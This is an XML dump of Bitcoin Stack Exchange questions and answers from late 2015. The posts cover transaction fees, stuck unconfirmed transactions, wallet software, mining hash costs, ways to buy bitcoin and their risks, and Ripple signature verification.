  <row Id="41393" PostTypeId="2" ParentId="41248" CreationDate="2015-11-15T17:55:19.860" Score="0" Body="&lt;p&gt;You can do it Programatically using CoinDesk price index API &lt;a href=&quot;http://www.coindesk.com/api/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/api/&lt;/a&gt;&#xA;for example&#xA;&lt;a href=&quot;https://api.coindesk.com/v1/bpi/currentprice.json&quot; rel=&quot;nofollow&quot;&gt;https://api.coindesk.com/v1/bpi/currentprice.json&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2015-11-15T17:55:19.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41396" PostTypeId="2" ParentId="41386" CreationDate="2015-11-15T19:14:07.207" Score="0" Body="&lt;p&gt;Yes, you can encrypt the data you wanted to add with SHA256 Here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.freeformatter.com/sha256-generator.html&quot; rel=&quot;nofollow&quot;&gt;http://www.freeformatter.com/sha256-generator.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the encrypted data to a note on one of your transaction by clicking &lt;em&gt;Note&lt;/em&gt; button in &lt;em&gt;My Transaction&lt;/em&gt;s.&lt;/p&gt;&#xA;" OwnerUserId="30567" LastEditorUserId="29646" LastEditDate="2015-11-15T23:23:40.693" LastActivityDate="2015-11-15T23:23:40.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41398" PostTypeId="2" ParentId="41367" CreationDate="2015-11-15T19:23:19.150" Score="1" Body="&lt;p&gt;Most of the cloud mining services are scam and doesn't stays in the long run. You can check out this thread to avoid cloud mining: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=878387.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=878387.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="30567" LastActivityDate="2015-11-15T19:23:19.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41399" PostTypeId="1" CreationDate="2015-11-15T19:35:19.040" Score="3" ViewCount="14183" Body="&lt;p&gt;Recently I sent some bitcoins without adding a fee and now, it's been taking too long. Is there any way I can recover my bitcoins? I want to delete my unconfirmed transactions from Blockchain.info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blockchain's Wallet.&lt;/p&gt;&#xA;" OwnerUserId="30567" LastEditorUserId="5406" LastEditDate="2015-11-16T12:11:30.050" LastActivityDate="2015-11-18T12:46:17.430" Title="Any way to delete unconfirmed transaction?" Tags="|blockchain.info|transaction-fees|unconfirmed-transactions|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2017-06-07T16:42:14.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="41400" PostTypeId="2" ParentId="53852" CreationDate="2015-11-15T20:13:03.420" Score="4" Body="&lt;p&gt;Basically, you can double spend the input and add transaction fees. Firstly, this sounds crazy but it works! Somebody also made an introduction video on how to do this: &lt;a href=&quot;https://www.youtube.com/watch?v=ycq7O48aPvQ&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=ycq7O48aPvQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27733" LastActivityDate="2015-11-15T20:13:03.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41401" PostTypeId="1" CreationDate="2015-11-15T21:52:57.277" Score="1" ViewCount="319" Body="&lt;p&gt;I have an existing .wallet on my PC. I want to use this with MultiBit HD. Is it possible to use this wallet instead of creating a new one?&lt;/p&gt;&#xA;" OwnerUserId="30569" LastEditorUserId="29646" LastEditDate="2015-11-15T22:54:32.950" LastActivityDate="2016-02-14T01:29:14.937" Title="Trouble using existing .wallet with MultiBit HD" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41402" PostTypeId="1" AcceptedAnswerId="41410" CreationDate="2015-11-15T22:21:05.463" Score="21" ViewCount="106466" Body="&lt;p&gt;I'm new to bitcoins, and my experience is from something like E*Trade buying on the NASDAQ, so that's my frame of reference. I paid a small broker fee for every buy or sell, and I trusted the exchange and the software 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I thought the big advantage of bitcoin was no middle man. Hence I assumed no fees. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But perhaps contrary to that first assumption, in my second assumption I thought there would be this big trusted website where you go and buy / sell anonymously without having to trust the other party. You would just need to trust the exchange itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I buy bitcoins anywhere without a fee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I buy bitcoins anywhere with 0 risk of getting ripped off, as in a flea market?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I get both positive things in one place (ideal)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase Pro allows me to do limit buys for free. The trick there is to set the limit price to the current price and keep changing the price if necessary to get the desired quantity purchased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase had been charging me 1% on large buys. So for small buys ok; large buys, it adds up!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CEX.IO on the other hand, gave me large limits and they charge a flat fee of $10. So for a buy of $3000 this is only .33 percent; much better!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, something I need to watch out for is the buy price. The exchanges mess with that to make extra margin I think. So I need to shop for best price before committing to buy. Compare the total price including fee based on buy price.&lt;/p&gt;&#xA;" OwnerUserId="30572" LastEditorUserId="30572" LastEditDate="2018-06-30T21:51:39.297" LastActivityDate="2018-07-29T17:08:38.787" Title="Is there any way to buy bitcoins online without a fee?" Tags="|exchanges|buy-bitcoins|exchange-fees|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="41403" PostTypeId="2" ParentId="41401" CreationDate="2015-11-15T23:00:03.117" Score="1" Body="&lt;p&gt;This is because the two versions use two different types of key management systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multibit HD is hierarchical deterministic key management. All keys generated can be recovered from a seed since the keys are generated deterministicly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Older multibit clients used single key management where you could not recover all keys unless you had a back up of your wallet or private key.&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-11-15T23:00:03.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41404" PostTypeId="2" ParentId="41402" CreationDate="2015-11-16T00:01:30.700" Score="8" Body="&lt;p&gt;&lt;a href=&quot;http://okcoin.com&quot;&gt;Some&lt;/a&gt; &lt;a href=&quot;https://www.btcc.com/&quot;&gt;Chinese&lt;/a&gt; &lt;a href=&quot;https://www.huobi.com/&quot;&gt;exchanges&lt;/a&gt; don't charge a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any site that has possession of your bitcoins or dollars means there is at least some risk of getting ripped off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So unfortunately, what you ask for doesn't exist.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-16T00:01:30.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41406" PostTypeId="2" ParentId="41124" CreationDate="2015-11-16T12:32:26.717" Score="0" Body="&lt;p&gt;Thanks David,&#xA;I appreciate your taking the time to respond.&#xA;I am afraid to say that I am having little luck. If you recall from the background I gave to my question, my old Fujitsu notebook was rapidly running out of sufficient RAM, so I speedily sent my 'unsyncronised bitcoin' to a new multibit wallet. The bitcoin have not arrived.&#xA;I have the sending address, the receiving address, and the amount of bitcoin I attempted to send, but at the moment of writing, my old computer is at the technicians as they attempt to add a larger memory so that I can get the Bitcoin-Qt client to start working again and eventually suncronise with the blockchain. Do you think that I may just need to be patient and wait for the bitcoin I sent to be verified, even though the original computer is out of action?&#xA;Warm regards,&#xA;Rupert&lt;/p&gt;&#xA;" OwnerUserId="30222" LastActivityDate="2015-11-16T12:32:26.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41407" PostTypeId="2" ParentId="37742" CreationDate="2015-11-16T13:40:32.560" Score="0" Body="&lt;p&gt;If you are using Blockchain.info's wallet, you need to wait for 1 confirmation before spending it out. If your wallet has more than the amount you want to spend and that amount is not currently in any transaction or is un-confirmed, you can spend your coins easily. &lt;/p&gt;&#xA;" OwnerUserId="30567" LastEditorUserId="24925" LastEditDate="2015-11-17T07:20:29.400" LastActivityDate="2015-11-17T07:20:29.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41409" PostTypeId="2" ParentId="22606" CreationDate="2015-11-16T15:21:15.323" Score="2" Body="&lt;p&gt;I could be wrong here, but I believe Electrum 2.5.4 uses the gap limit like a buffer, where it will always generate that many additional addresses as you use up existing ones. In other words, you'll always have that many &quot;available&quot; addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you start a new wallet, and your gap limit is 20 (which seems to be the default), once you receive your first transaction (on the first address), a new address will be derived for you from your seed to keep the number of &quot;unused addresses&quot; at 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like the algorithm for this is here: &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/0dcaa13d314225826c40bf578e199adda1e5c23e/lib/wallet.py#L1551&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/electrum/blob/0dcaa13d314225826c40bf578e199adda1e5c23e/lib/wallet.py#L1551&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it looks like you can change this from the default via the command-line: &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/c86ef5e8b0dcebf1940a68e8857165e6e4768920/lib/commands.py#L638&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/electrum/blob/c86ef5e8b0dcebf1940a68e8857165e6e4768920/lib/commands.py#L638&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30591" LastActivityDate="2015-11-16T15:21:15.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41410" PostTypeId="2" ParentId="41402" CreationDate="2015-11-16T15:56:58.707" Score="11" Body="&lt;p&gt;Of course you may trade bitcoins with just anyone without having to pay fees to a centralized exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think &lt;strong&gt;Bisq&lt;/strong&gt; (formerly BitSquare) may be the best answer to the question; decentralized, free for some definitions of &quot;free&quot;, and very low risk due to the escrow system - but not completely without fees, indeed as of 2017 one may end up paying quite much higher fees on Bisq than on some of the centralized exchanges.  Well, let's walk through this ...&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Fees and costs&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You probably won't get away completely without fees:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;There is the bitcoin transaction fee, a fee for getting the transaction included in the network.  Basically, you can't withdraw your funds from the exchange or move it from one wallet to another without paying a network fee (though internal transfers i.e. on an exchange may be for free).  As of 2017 it has become significant (i.e. 0.001 BTC, but can vary a lot), though not that bad if you want to turn over significant amounts of money (i.e. 1 BTC).  According to the protocol the fee is not mandatory, but a regular transaction without a fee paid is very unlikely to be included in the blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With many exchanges, one pays the exchange a withdrawal fee instead of paying the network fee.  The withdrawal fee is usually constant, and usually higher than the average network fee paid by the exchange.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fees to the exchange ... any commercial centralized market place do eventually have costs and hopes to get investments recovered; I would be vary of a site claiming to be for free - though, some exchanges takes in most of the profits on margin traders.  Sometimes market makers pays less fee than market takers - sometimes it's opposite (on Localbitcoins market makers pay the full fee).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Arbitrator fee - on peer-to-peer-platforms (Bisq) where arbitration may be needed, one may have to pay a fee for that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Spread - on any exchange there will be a difference between the bid and the offer.  If you need to buy bitcoins instantly, you will have to cover the spread.  If you have the time, then place a bid/offer just marginally better than the competition and wait for the other party to take your offer and cover the spread.  On the exchanges with highest volume, the spread will anyway be insignificant compared to the volatility.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Banking fees, for converting fiat to/from exchanges and/or other peers selling bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Currency converting costs.  YMMV, but for me this is a relatively significant and a somewhat hidden cost of sending fiat to an exchange.  The exchange typically don't do trades in my local currency, and my bank gives me a pretty bad exchange rate when I send money to the exchange.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even meeting up with other people to trade cash may be costly wrg of transportation costs and time taken.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Time is money - spend hours searching for the cheapest offers, and how many dimes did you save on it? (And how much did the bitcoin market value rise while you were searching for it?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Risks&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;No method are without risks.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bankruptcy - as for the centralized exchanges this is probably the biggest risk - one day you send money to the exchange, the next day the exchange is gone.  It does happen from time to time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Funds on a centralized exchange being frozen for other reasons.  Your funds may be frozen for a variety of reasons - it does happen from time to time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin transactions getting stuck.  Not so much an issue when transferring from the bigger exchanges, but due to the block size issue a transaction may stay pending for arbitrary long if it appears the transaction fee was too low.  I have personally experienced twice that a transaction from an honest seller using &quot;wrong&quot; wallet software was timing out after 72 hours.  This became less of an issue in late 2017, as the default timeout has been increased to two weeks and because there is more often periods with idle capacity in the blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Money lost or stalled due to other technical issues - seldom an issue, but if using a &quot;shitty&quot; exchange it may happen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Simple scams (mostly an issue if buying or selling bitcoins to random strangers without a proper escrow system in place).  Some payment methods are also reversible (particularly credit card payments and paypal payments) or easy to fraud.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fake exchange scams (mostly an issue when selling btc); there exists several sites looking like legit exchanges, except they will just eat up your bitcoin if you transfer btc there.  It has also happened that an attacker has managed to highjack the DNS entry and get a valid SSL certificate for the exchange (openledger.info).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Money laundring; lots of the money in circulation comes from criminal sources, and you may become suspected of money laundry.  This may cause your funds to get frozen on centralized exchanges.  This may cause troubles with law enforcement if trading peer-to-peer.  Laws may vary between different jurisdictions, unless it ought to be obvious that the money comes from criminal sources you generally should be on the right side of the law, but having to spend time answering questions from the police is still within my definition of &quot;trouble&quot;.  Some banks may even decide to freeze your account just because you're sending money to the exchanges.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Third party scams; mostly an issue when selling bitcoins (anonymous money) for bank deposits (trackable money), not so much when buying bitcoins - a fraudster tricks a victim (or gains unauthorized access to the bank) into sending money to the bitcoin seller, and tricks the bitcoin seller into sending bitcoins to the fraudster.  The victim gets angry with the bitcoin seller i.e. because he's expecting the bitcoin seller to send him an iPhone.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Outright robbery - may be a risk if doing cash trades (I've encountered some attempts on robbery myself when doing cash trades), especially when appointing meetings with random strangers in dark alleys, or if counting bigger amounts of cash on a public place with the wrong person watching.  If you expose that you have a lot of bitcoins i.e. through Localbitcoins and your identity and address can be found out, you may also receive threats (&quot;pay one bitcoin to address 1... or else something bad may happen to your family&quot; - I've experienced that, too).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Software bugs and malicious software; can you trust the wallet software, etc?  How to tell that i.e. Bisq does it's job, without any severe bugs causing bitcoins to be lost?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other answers here are focusing on the best or cheapest exchanges.  I'll skip that and try to make an overview of alternative market places:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Bisq (formerly Bitsquare)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Bitsquare is a free and decentralized market place, it comes with a good escrow protection.  It does have some drawbacks though:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I managed to buy bitcoins through a &quot;same bank&quot;-offer, using my local domestic bank account.  However, I did need to know the SWIFT-code for my bank, and I did need to know how to convert an IBAN to a local account number.  YMMV, but I think this is a bit too difficult for quite a lot of people wanting to buy bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;It's an application, not a web site - meaning you need to install special software to access it.  Also, it's a graphical monolithic application that is supposed to be running 24/7, difficult to use on/from laptops and mobile devices.&lt;/li&gt;&#xA;&lt;li&gt;You can't buy bitcoins without already owning bitcoins - you will need to seed the application wallet with enough bitcoins to cover transaction fees and escrow deposit&lt;/li&gt;&#xA;&lt;li&gt;As far as I can see, there is no way to do free-text communication with the seller there.&lt;/li&gt;&#xA;&lt;li&gt;There is a max limit for how much can be transferred in a single trade&lt;/li&gt;&#xA;&lt;li&gt;Beware of the potential chain split in November - the maintainer has promised to follow the 1X-chain, so if SegWit2X should be successful, one may end up at the wrong side of a chain split.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bisq supports bank payments (including local currencies and local banks) and convertions to/from altcoins, as far as I can see cash is not an option there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will eventually need to cover banking fees, and the bitcoin transaction fees will be higher than normal due to the complexity of the escrow transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: the author haven't tried Bisq for quite some time, the information above may be out-of-date).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;IRC&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The IRC channel #bitcoin-otc on freenode is also place where it's possible to trade coins with no middleman taking commissions.  I've never tried it though.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Mycellium&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The mycellium wallet (android) has a cash-transaction built-in marketplace which is (as for now) without any fees - but if it ever becomes popular, the Mycellium team may decide to slap a fee on it.  During the last year, I've gotten close to 0 trades through the Mycellium platform, so I've given it up.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;LocalBitcoins&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;With a 1% fee (paid by the advertiser), LocalBitcoins.Com (LBC) is an unlikely candidate on this list - but still, the fee is not mandatory to pay, one can &quot;sneak&quot; away from it, without violating the ToS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you search for offers on LBC, you will most likely find that there is a relatively big gap between the offers and bids.  If you don't need to buy bitcoins immediately, you can &quot;turn the table&quot; and put out your own &quot;i buy bitcoin&quot;-ad.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Telegram&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;On the telegram chat service there is a bot BTC_CHANGE_BOT.  I haven't tested it though, don't even know if it has fee structures.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastEditorUserId="28129" LastEditDate="2018-07-04T13:02:43.917" LastActivityDate="2018-07-04T13:02:43.917" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="41411" PostTypeId="1" AcceptedAnswerId="41412" CreationDate="2015-11-16T15:58:29.703" Score="3" ViewCount="423" Body="&lt;p&gt;I understand that there is incentive to include transactions where the output is less than the input so that the block creator can pocket the difference. But I'm wondering if that is really worthwhile in terms of hashing rate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that overall having transactions is a good thing for the currency, but what if a particular miner only cares about their block finder's reward?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my understanding of the hashing process:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/29Ts2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/29Ts2.png&quot; alt=&quot;SHA256 process (image from Coursera Bitcoin course)&quot;&gt;&lt;/a&gt;&#xA;SHA256 process (image from Coursera Bitcoin course)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hash input is split into 512-bit input-blocks, and then the compression function (in yellow) is run once for each input-block (including the output of the previous result).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the smallest possible bitcoin-block is &amp;lt; 1024 bits (please correct me if I'm off), then hashing for no transactions will take 4 compressions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK, the largest block size is 1MiB, or 8,000,000 bits, requiring 15,625 compression functions, more than 3,900 times longer than for a nil-transactions block.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Will it will take about 3,900 times as long to hash a 1MiB block as to hash a nil-transaction block?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If this is correct within an order of magnitude, then wouldn't it be better to increase the probability of finding a block approx. 3,000 times rather than collecting one block's worth of transaction processing reward?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the average transaction fee collection per block?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What if a small consortium of miners took up this strategy for personal profit, riding on the backs of the miners who cared about the ecosystem as a whole and kept it afloat?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30588" LastEditorUserId="18196" LastEditDate="2016-03-06T19:09:21.380" LastActivityDate="2016-03-06T19:09:21.380" Title="Mining for nil-transaction blocks only - gaming the incentive scheme by rogue miners / consortium?" Tags="|transactions|block|mining-reward|mining-profitability|sha256|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41412" PostTypeId="2" ParentId="41411" CreationDate="2015-11-16T16:25:05.393" Score="4" Body="&lt;p&gt;(I'm certain this has been asked before, but I can't find the previous question.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be true, except for the presence of the nonce and extraNonce fields. The point of these fields is that you can rehash the block without actually hashing the whole thing. On 2^32-1 out of 2^32 times, that just means hashing the last 16 bytes of block header, which can be done in 3 compressions. (That's one for the block header, and two for the following SHA256 hash. Remember, Bitcoin uses SHA256d.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single mining attempt takes (3 + ((log(2, number_of_transactions) + 1) * 2 / 2**32)) SHA256 compressions, on average. Having a thousand transactions in the block takes an extra 0.000000004 compressions per hash over having no transactions in the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect of all of that is that you mine at essentially the same speed no matter how many transactions you include.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-11-17T03:06:11.183" LastActivityDate="2015-11-17T03:06:11.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41414" PostTypeId="2" ParentId="41402" CreationDate="2015-11-16T19:24:09.290" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no middle man for &lt;em&gt;using&lt;/em&gt; Bitcoin. If all your income and expenses were in Bitcoin, the transfers would have negligible overhead. But what you are looking for is a service that will take your government currency and give you bitcoins. Of course such a service has costs involved.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are several big exchanges where you only need to trust the exchange itself rather than your counterparty (Bitstamp, Bitfinex, Kraken etc.). However:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;They are generally not anonymous. Currency exchange is a highly regulated business, and if you want to trade large amounts you will be expected to identify yourself.&lt;/li&gt;&#xA;&lt;li&gt;You will pay a fee for using them. They are providing a service for which they have costs, there is no free lunch. There is also slippage involved.&lt;/li&gt;&#xA;&lt;li&gt;You can never have 0 risk. Nothing is ever certain. That's true for everything, not just Bitcoin. But you can minimize your risk if you act prudently.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternatively, you can try your luck finding someone who wishes to sell, and buy directly from him without any fees involved. But in all likelihood, that's not worth your time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Note that the overhead is caused primarily by the government currency side of the equation. In essence, if you were to trade one cryptocurrency for another, that could be done with much less risk and costs (using atomic trades etc.).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2018-07-28T20:14:28.490" LastActivityDate="2018-07-28T20:14:28.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="41415" PostTypeId="2" ParentId="41362" CreationDate="2015-11-16T23:53:28.820" Score="1" Body="&lt;p&gt;I'm running a RaspberryPi Bitcoin node. Since I discovered that the node had sometimes crashed due to overload, I put an hourly starting command into crontab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@hourly &amp;lt;completePath&amp;gt;/bitcoind -daemon -disablewallet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;bitcoind&lt;/code&gt; is already running, it fails to start due to not getting a lock on the data directory. Otherwise, the server will be restarted with at most one hour of downtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there are more elegant solutions, but I didn't explore it much further as this worked for me.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-02T12:16:50.643" LastActivityDate="2016-01-02T12:16:50.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41416" PostTypeId="2" ParentId="37742" CreationDate="2015-11-17T05:07:45.710" Score="1" Body="&lt;p&gt;With the exception of freshly mined coins, it is possible to spend unconfirmed funds - though it depends on which wallet you use.  The bitcoin-core, cli version, will by default only spend funds with at least one confirmation, but it's possible to override, i.e. using the sendfrom command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sendfrom &quot;fromaccount&quot; &quot;tobitcoinaddress&quot; amount ( minconf &quot;comment&quot; &quot;comment-to&quot; )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set minconf to 0 and you're done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware of the trust issue; if you receive funds from someone you don't trust and send the coins further to someone that trusts you, you could put your reputation on line if the original sender pulls a double-spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the original transaction carried a low fee and that's the reason why it hasn't been included in the blockchain yet, the new transaction may help to get it confirmed faster&lt;/p&gt;&#xA;" OwnerUserId="28129" LastActivityDate="2015-11-17T05:07:45.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41417" PostTypeId="2" ParentId="30500" CreationDate="2015-11-17T05:18:05.987" Score="-1" Body="&lt;p&gt;It is hardware bound. The above answer is correct. Another option is to rent out your hash-power and receive other cryptocoins.&lt;/p&gt;&#xA;" OwnerUserId="30596" LastEditorUserId="29646" LastEditDate="2015-11-17T16:21:46.570" LastActivityDate="2015-11-17T16:21:46.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41418" PostTypeId="1" AcceptedAnswerId="41431" CreationDate="2015-11-17T07:20:42.010" Score="1" ViewCount="636" Body="&lt;p&gt;As I understand, the client send the following information to server&#xA; 1.the hash of the message,&#xA; 2. public key &#xA; 3. signature made by private key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the server verified the signature with the public key and hash, to check if it belong to the certain private key, server also need to check if the public key correspond to the ripple address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I have seen that there is a public key recovery method for ECDSA signature.&lt;a href=&quot;https://crypto.stackexchange.com/questions/18105/how-does-recovering-the-public-key-from-an-ecdsa-signature-work&quot;&gt;https://crypto.stackexchange.com/questions/18105/how-does-recovering-the-public-key-from-an-ecdsa-signature-work&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my previous judgement is right, then is it possible for client only send the signature and the hash to the server? I guess there is a problem because we can't derive the curve from both the signature and the hash.&lt;/p&gt;&#xA;" OwnerUserId="30578" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2015-11-19T00:39:16.593" Title="How does ripple verify the signature?" Tags="|ripple|public-key|signature|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
